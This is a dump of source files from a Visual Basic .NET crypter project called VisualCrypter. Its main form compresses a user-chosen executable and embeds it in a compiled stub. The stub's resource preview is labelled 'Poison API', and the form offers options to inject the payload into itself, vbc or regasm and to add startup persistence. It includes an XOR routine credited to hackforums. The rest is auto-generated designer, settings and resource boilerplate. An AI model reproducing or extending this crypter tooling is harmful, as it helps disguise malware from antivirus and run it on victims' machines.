Dim bind_Chk, injection, startup, start_name, ZoneID, Delay, Persistance, protect_process As String
Private Sub VsButton6_Click(sender As Object, e As EventArgs) Handles VsButton6.Click
'Crypt
Try
Using ofd As New SaveFileDialog()
ofd.Filter = "Portable Executable |*.exe"
If ofd.ShowDialog() = DialogResult.OK Then
Dim password As String = RandomVariable(5, 11)
If VsRadiobutton1.Checked Then
injection = "itself"
ElseIf VsRadiobutton2.Checked Then
injection = "vbc"
Else
injection = "regasm"
End If
If VsCheckbox1.Checked Then
startup = "T"
start_name = VsTextBox13.Text
End If
Dim parm As String = startup & "/" & start_name
keyBytes = Encoding.Default.GetBytes(Random(16))
fileBytes = Compress(IO.File.ReadAllBytes(VsTextBox1.Text))
Dim source As String = My.Resources.Code
source = source.Replace("%libraryName%", library_Name)
source = source.Replace("%*%", parm)
Using R As New Resources.ResourceWriter(resources_Path)
R.AddResource("text", fileBytes)
R.AddResource(library_Name, My.Resources.DPL)
R.Generate()
End Using
compile_Stub(source, ofd.FileName, resources_Path, True, Nothing)
IO.File.Delete(resources_Path)
MsgBox("File Saved at: " & ofd.FileName)
End If
End Using
Catch ex As Exception
MsgBox(ex.ToString)
End Try
End Sub
End Class
Module Functions
Public rand As New Random
Public Function RandomVariable(ByVal minamount As Integer, ByVal maxamount As Integer) As String
' Dim Rand As New Random
Dim TheVariable As String = Nothing
Dim CharactersToUse As String = "qwertyuiopasdfghjklzxcvbnm1234567890"
For x As Integer = 1 To rand.Next(minamount + 1, maxamount)
Dim PickAChar As Integer = Int((CharactersToUse.Length - 2) * Rnd()) + 1
TheVariable += (CharactersToUse(PickAChar))
Next
Dim letters As String = "QWERTYUIOPLKHJJGFDSAZXCVBNM"
Return letters(rand.Next(0, letters.Length - 1)) + TheVariable
End Function
Public Function Random(numberChar As Integer) As String
Dim alphabet As String = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
Dim password As String = New String((alphabet.OrderBy(Function(n) Guid.NewGuid).Take(numberChar)).ToArray())
Return password
End Function
Public Function Compress(data As Byte()) As Byte()
Dim output As New MemoryStream()
Dim gzip As New GZipStream(output, CompressionMode.Compress, True)
gzip.Write(data, 0, data.Length)
gzip.Close()
Return output.ToArray()
End Function
Function XOR_Encrypt(ByVal input As Byte(), ByVal keys As String) As String
'By d3c0mpil3r from hackforums.net
'A "Thanks
Dim key As Byte() = System.Text.Encoding.Default.GetBytes(keys)
Dim output As Byte() = New Byte(input.Length) {}
Dim r As Byte = CByte(New Random().Next(1, 255))
For i = 0 To output.Length - 2
output(i) = input(i) Xor (key(i Mod key.Length) << (i + r + key.Length)) Mod 256
Next
output(output.Length - 1) = r
Return (Convert.ToBase64String(output))
End Function
Public Function compile_Stub(ByVal input As String, ByVal output As String, ByVal resources As String, ByVal showError As Boolean, Optional ByVal icon_Path As String = Nothing) As Boolean
Dim provider_Args As New Dictionary(Of String, String)()
provider_Args.Add("CompilerVersion", "v2.0")
Dim provider As New Microsoft.VisualBasic.VBCodeProvider(provider_Args)
Dim c_Param As New Compiler.CompilerParameters
Dim c_Args As String = " /target:winexe /platform:x86 /optimize /nowarn /define:_MYTYPE=\""""Empty\"""""
If Not icon_Path = Nothing Then
c_Args = c_Args & " /win32icon:" & icon_Path
Else
c_Args = c_Args & " /win32icon:Icon.ico"
End If
c_Param.GenerateExecutable = True
c_Param.OutputAssembly = output
c_Param.EmbeddedResources.Add(resources)
c_Param.CompilerOptions = c_Args
c_Param.IncludeDebugInformation = False
c_Param.ReferencedAssemblies.AddRange({"System.Dll", "System.Windows.Forms.Dll"})
Dim c_Result As Compiler.CompilerResults = provider.CompileAssemblyFromSource(c_Param, input)
If c_Result.Errors.Count = 0 Then
Return True
Else
If showError Then
For Each _Error As Compiler.CompilerError In c_Result.Errors
MessageBox.Show(_Error.ToString)
Next
Return False
End If
Return False
End If
End Function
End Module
@@ -0,0 +1,38 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.42000
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Namespace My
'NOTE: This file is auto-generated; do not modify it directly. To make changes,
' or if you encounter build errors in this file, go to the Project Designer
' (go to Project Properties or double-click the My Project node in
' Solution Explorer), and make changes on the Application tab.
'
Partial Friend Class MyApplication
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
Public Sub New()
MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
Me.IsSingleInstance = false
Me.EnableVisualStyles = true
Me.SaveMySettingsOnExit = true
Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
End Sub
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
Protected Overrides Sub OnCreateMainForm()
Me.MainForm = Global.VisualCrypter.Index
End Sub
End Class
End Namespace
@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<MySubMain>true</MySubMain>
<MainForm>Index</MainForm>
<SingleInstance>false</SingleInstance>
<ShutdownMode>0</ShutdownMode>
<EnableVisualStyles>true</EnableVisualStyles>
<AuthenticationMode>0</AuthenticationMode>
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
</MyApplicationData>
@@ -0,0 +1,37 @@
Imports System.Resources
Imports System
Imports System.Reflection
Imports System.Runtime.InteropServices
' General Information about an assembly is controlled through the following
' set of attributes. Change these attribute values to modify the information
' associated with an assembly.
' Review the values of the assembly attributes
<Assembly: AssemblyTitle("Visual Protector")>
<Assembly: AssemblyDescription("")>
<Assembly: AssemblyCompany("VisualSoft")>
<Assembly: AssemblyProduct("Visual Protector")>
<Assembly: AssemblyCopyright("Copyright © 2016")>
<Assembly: AssemblyTrademark("")>
<Assembly: ComVisible(False)>
'The following GUID is for the ID of the typelib if this project is exposed to COM
<Assembly: Guid("b605cfb6-1f08-4468-b49d-b29fc4b58b44")>
' Version information for an assembly consists of the following four values:
'
' Major Version
' Minor Version
' Build Number
' Revision
'
' You can specify all the values or you can default the Build and Revision Numbers
' by using the '*' as shown below:
' <Assembly: AssemblyVersion("1.0.*")>
<Assembly: AssemblyVersion("0.0.0.2")>
<Assembly: AssemblyFileVersion("0.0.0.2")>
<Assembly: NeutralResourcesLanguage("en")>
@@ -0,0 +1,98 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.42000
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Imports System
Namespace My.Resources
'This class was auto-generated by the StronglyTypedResourceBuilder
'class via a tool like ResGen or Visual Studio.
'To add or remove a member, edit your .ResX file then rerun ResGen
'with the /str option, or rebuild your VS project.
'''<summary>
''' A strongly-typed resource class, for looking up localized strings, etc.
'''</summary>
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
Friend Module Resources
Private resourceMan As Global.System.Resources.ResourceManager
Private resourceCulture As Global.System.Globalization.CultureInfo
'''<summary>
''' Returns the cached ResourceManager instance used by this class.
'''</summary>
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
Get
If Object.ReferenceEquals(resourceMan, Nothing) Then
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("VisualCrypter.Resources", GetType(Resources).Assembly)
resourceMan = temp
End If
Return resourceMan
End Get
End Property
'''<summary>
''' Overrides the current thread's CurrentUICulture property for all
''' resource lookups using this strongly typed resource class.
'''</summary>
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Friend Property Culture() As Global.System.Globalization.CultureInfo
Get
Return resourceCulture
End Get
Set
resourceCulture = value
End Set
End Property
'''<summary>
''' Looks up a localized string similar to Option Explicit Off
'''Option Strict Off
'''Imports System, Microsoft.VisualBasic
'''Imports Microsoft.VisualBasic.CompilerServices
'''Imports System.Reflection
'''Imports System.Text
'''Imports System.Security.Cryptography
'''Imports System.IO.Compression
'''Imports System.IO
'''Imports System.Runtime.InteropServices
'''Imports System.Runtime.CompilerServices
'''Imports System.Reflection.Emit
'''
'''&lt;Assembly: AssemblyTitle(&quot;Poison API&quot;)&gt;
'''&lt;Assembly: AssemblyDescription(&quot;Poison API&quot;)&gt;
'''&lt;Assembly: AssemblyCompany(&quot;Poison API&quot;)&gt;
'''&apos;&lt;A [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property Code() As String
Get
Return ResourceManager.GetString("Code", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized resource of type System.Byte[].
'''</summary>
Friend ReadOnly Property DPL() As Byte()
Get
Dim obj As Object = ResourceManager.GetObject("DPL", resourceCulture)
Return CType(obj,Byte())
End Get
End Property
End Module
End Namespace
@@ -0,0 +1,127 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
<data name="Code" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\Code.vb;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="DPL" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\DPL.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</data>
</root>
@@ -0,0 +1,73 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.42000
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Namespace My
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0"), _
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Partial Friend NotInheritable Class MySettings
Inherits Global.System.Configuration.ApplicationSettingsBase
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
#Region "My.Settings Auto-Save Functionality"
#If _MyType = "WindowsForms" Then
Private Shared addedHandler As Boolean
Private Shared addedHandlerLockObject As New Object
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
If My.Application.SaveMySettingsOnExit Then
My.Settings.Save()
End If
End Sub
#End If
#End Region
Public Shared ReadOnly Property [Default]() As MySettings
Get
#If _MyType = "WindowsForms" Then
If Not addedHandler Then
SyncLock addedHandlerLockObject
If Not addedHandler Then
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
addedHandler = True
End If
End SyncLock
End If
#End If
Return defaultInstance
End Get
End Property
End Class
End Namespace
Namespace My
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
Friend Module MySettingsProperty
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
Friend ReadOnly Property Settings() As Global.VisualCrypter.My.MySettings
Get
Return Global.VisualCrypter.My.MySettings.Default
End Get
End Property
End Module
End Namespace
@@ -0,0 +1,7 @@
<?xml version='1.0' encoding='utf-8'?>
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
<Profiles>
<Profile Name="(Default)" />
</Profiles>
<Settings />
</SettingsFile>
@@ -0,0 +1,208 @@
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
Partial Class News
Inherits System.Windows.Forms.Form
'Form overrides dispose to clean up the component list.
<System.Diagnostics.DebuggerNonUserCode()> _
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
Try
If disposing AndAlso components IsNot Nothing Then
components.Dispose()
End If
Finally
MyBase.Dispose(disposing)
End Try
End Sub
'Required by the Windows Form Designer
Private components As System.ComponentModel.IContainer
'NOTE: The following procedure is required by the Windows Form Designer
'It can be modified using the Windows Form Designer.
'Do not modify it using the code editor.
<System.Diagnostics.DebuggerStepThrough()> _
Private Sub InitializeComponent()
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(News))
Me.Theme1 = New VisualCrypter.Theme()
Me.VsGroupBox3 = New VisualCrypter.VSGroupBox()
Me.LinkLabel2 = New System.Windows.Forms.LinkLabel()
Me.VsGroupBox2 = New VisualCrypter.VSGroupBox()
Me.VsTextBox1 = New VisualCrypter.VSTextBox()
Me.VsGroupBox1 = New VisualCrypter.VSGroupBox()
Me.LinkLabel1 = New System.Windows.Forms.LinkLabel()
Me.VsControlBox1 = New VisualCrypter.VSControlBox()
Me.Theme1.SuspendLayout()
Me.VsGroupBox3.SuspendLayout()
Me.VsGroupBox2.SuspendLayout()
Me.VsGroupBox1.SuspendLayout()
Me.SuspendLayout()
'
'Theme1
'
Me.Theme1.BackColor = System.Drawing.Color.FromArgb(CType(CType(37, Byte), Integer), CType(CType(37, Byte), Integer), CType(CType(38, Byte), Integer))
Me.Theme1.BorderStyle = System.Windows.Forms.FormBorderStyle.None
Me.Theme1.Controls.Add(Me.VsGroupBox3)
Me.Theme1.Controls.Add(Me.VsGroupBox2)
Me.Theme1.Controls.Add(Me.VsGroupBox1)
Me.Theme1.Controls.Add(Me.VsControlBox1)
Me.Theme1.Customization = "MC0t/3Fxcf8="
Me.Theme1.Dock = System.Windows.Forms.DockStyle.Fill
Me.Theme1.Font = New System.Drawing.Font("Segoe UI", 11.0!)
Me.Theme1.Image = Nothing
Me.Theme1.Location = New System.Drawing.Point(0, 0)
Me.Theme1.Movable = True
Me.Theme1.Name = "Theme1"
Me.Theme1.NoRounding = False
Me.Theme1.Sizable = True
Me.Theme1.Size = New System.Drawing.Size(363, 280)
Me.Theme1.SmartBounds = True
Me.Theme1.StartPosition = System.Windows.Forms.FormStartPosition.Manual
Me.Theme1.TabIndex = 0
Me.Theme1.TransparencyKey = System.Drawing.Color.Empty
Me.Theme1.Transparent = False
'
'VsGroupBox3
'
Me.VsGroupBox3.BorderStyle = System.Windows.Forms.FormBorderStyle.None
Me.VsGroupBox3.Controls.Add(Me.LinkLabel2)
Me.VsGroupBox3.Customization = "NzMz//////8="
Me.VsGroupBox3.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsGroupBox3.Image = Nothing
Me.VsGroupBox3.Location = New System.Drawing.Point(14, 87)
Me.VsGroupBox3.Movable = True
Me.VsGroupBox3.Name = "VsGroupBox3"
Me.VsGroupBox3.NoRounding = False
Me.VsGroupBox3.Sizable = True
Me.VsGroupBox3.Size = New System.Drawing.Size(335, 40)
Me.VsGroupBox3.SmartBounds = True
Me.VsGroupBox3.StartPosition = System.Windows.Forms.FormStartPosition.Manual
Me.VsGroupBox3.TabIndex = 3
Me.VsGroupBox3.Text = "Stub Update:"
Me.VsGroupBox3.TransparencyKey = System.Drawing.Color.Empty
Me.VsGroupBox3.Transparent = False
'
'LinkLabel2
'
Me.LinkLabel2.AutoSize = True
Me.LinkLabel2.Font = New System.Drawing.Font("Verdana", 8.75!)
Me.LinkLabel2.LinkColor = System.Drawing.Color.Red
Me.LinkLabel2.Location = New System.Drawing.Point(11, 19)
Me.LinkLabel2.Name = "LinkLabel2"
Me.LinkLabel2.Size = New System.Drawing.Size(134, 14)
Me.LinkLabel2.TabIndex = 0
Me.LinkLabel2.TabStop = True
Me.LinkLabel2.Text = "No Update Available"
'
'VsGroupBox2
'
Me.VsGroupBox2.BorderStyle = System.Windows.Forms.FormBorderStyle.None
Me.VsGroupBox2.Controls.Add(Me.VsTextBox1)
Me.VsGroupBox2.Customization = "NzMz//////8="
Me.VsGroupBox2.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsGroupBox2.Image = Nothing
Me.VsGroupBox2.Location = New System.Drawing.Point(14, 133)
Me.VsGroupBox2.Movable = True
Me.VsGroupBox2.Name = "VsGroupBox2"
Me.VsGroupBox2.NoRounding = False
Me.VsGroupBox2.Sizable = True
Me.VsGroupBox2.Size = New System.Drawing.Size(335, 131)
Me.VsGroupBox2.SmartBounds = True
Me.VsGroupBox2.StartPosition = System.Windows.Forms.FormStartPosition.Manual
Me.VsGroupBox2.TabIndex = 3
Me.VsGroupBox2.Text = "Todays News :"
Me.VsGroupBox2.TransparencyKey = System.Drawing.Color.Empty
Me.VsGroupBox2.Transparent = False
'
'VsTextBox1
'
Me.VsTextBox1.Customization = "/////0Y/P/8AAAD/Wlpa/w=="
Me.VsTextBox1.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsTextBox1.Image = Nothing
Me.VsTextBox1.Location = New System.Drawing.Point(14, 19)
Me.VsTextBox1.MaxLength = 32767
Me.VsTextBox1.Multiline = True
Me.VsTextBox1.Name = "VsTextBox1"
Me.VsTextBox1.NoRounding = False
Me.VsTextBox1.ReadOnly = False
Me.VsTextBox1.Size = New System.Drawing.Size(309, 104)
Me.VsTextBox1.TabIndex = 0
Me.VsTextBox1.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
Me.VsTextBox1.Transparent = False
Me.VsTextBox1.UseSystemPasswordChar = False
'
'VsGroupBox1
'
Me.VsGroupBox1.BorderStyle = System.Windows.Forms.FormBorderStyle.None
Me.VsGroupBox1.Controls.Add(Me.LinkLabel1)
Me.VsGroupBox1.Customization = "NzMz//////8="
Me.VsGroupBox1.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsGroupBox1.Image = Nothing
Me.VsGroupBox1.Location = New System.Drawing.Point(14, 41)
Me.VsGroupBox1.Movable = True
Me.VsGroupBox1.Name = "VsGroupBox1"
Me.VsGroupBox1.NoRounding = False
Me.VsGroupBox1.Sizable = True
Me.VsGroupBox1.Size = New System.Drawing.Size(335, 40)
Me.VsGroupBox1.SmartBounds = True
Me.VsGroupBox1.StartPosition = System.Windows.Forms.FormStartPosition.Manual
Me.VsGroupBox1.TabIndex = 2
Me.VsGroupBox1.Text = "Builder Update:"
Me.VsGroupBox1.TransparencyKey = System.Drawing.Color.Empty
Me.VsGroupBox1.Transparent = False
'
'LinkLabel1
'
Me.LinkLabel1.AutoSize = True
Me.LinkLabel1.Font = New System.Drawing.Font("Verdana", 8.75!)
Me.LinkLabel1.LinkColor = System.Drawing.Color.Red
Me.LinkLabel1.Location = New System.Drawing.Point(11, 19)
Me.LinkLabel1.Name = "LinkLabel1"
Me.LinkLabel1.Size = New System.Drawing.Size(134, 14)
Me.LinkLabel1.TabIndex = 0
Me.LinkLabel1.TabStop = True
Me.LinkLabel1.Text = "No Update Available"
'
'VsControlBox1
'
Me.VsControlBox1.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles)
Me.VsControlBox1.Customization = "8PDw//Dw8P8wLS3/8PDw/w=="
Me.VsControlBox1.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsControlBox1.Image = Nothing
Me.VsControlBox1.Location = New System.Drawing.Point(310, 6)
Me.VsControlBox1.Name = "VsControlBox1"
Me.VsControlBox1.NoRounding = False
Me.VsControlBox1.Size = New System.Drawing.Size(44, 18)
Me.VsControlBox1.TabIndex = 1
Me.VsControlBox1.Text = "VsControlBox1"
Me.VsControlBox1.Transparent = False
'
'News
'
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
Me.ClientSize = New System.Drawing.Size(363, 280)
Me.Controls.Add(Me.Theme1)
Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None
Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
Me.Name = "News"
Me.StartPosition = System.Windows.Forms.FormStartPosition.Manual
Me.Text = "News from VisualSoft"
Me.Theme1.ResumeLayout(False)
Me.VsGroupBox3.ResumeLayout(False)
Me.VsGroupBox3.PerformLayout()
Me.VsGroupBox2.ResumeLayout(False)
Me.VsGroupBox1.ResumeLayout(False)
Me.VsGroupBox1.PerformLayout()
Me.ResumeLayout(False)
End Sub
Friend WithEvents Theme1 As Theme
Friend WithEvents VsControlBox1 As VSControlBox
Friend WithEvents VsTextBox1 As VSTextBox
Friend WithEvents VsGroupBox1 As VSGroupBox
Friend WithEvents LinkLabel1 As LinkLabel
Friend WithEvents VsGroupBox2 As VSGroupBox
Friend WithEvents VsGroupBox3 As VSGroupBox
Friend WithEvents LinkLabel2 As LinkLabel
End Class
@@ -0,0 +1,700 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
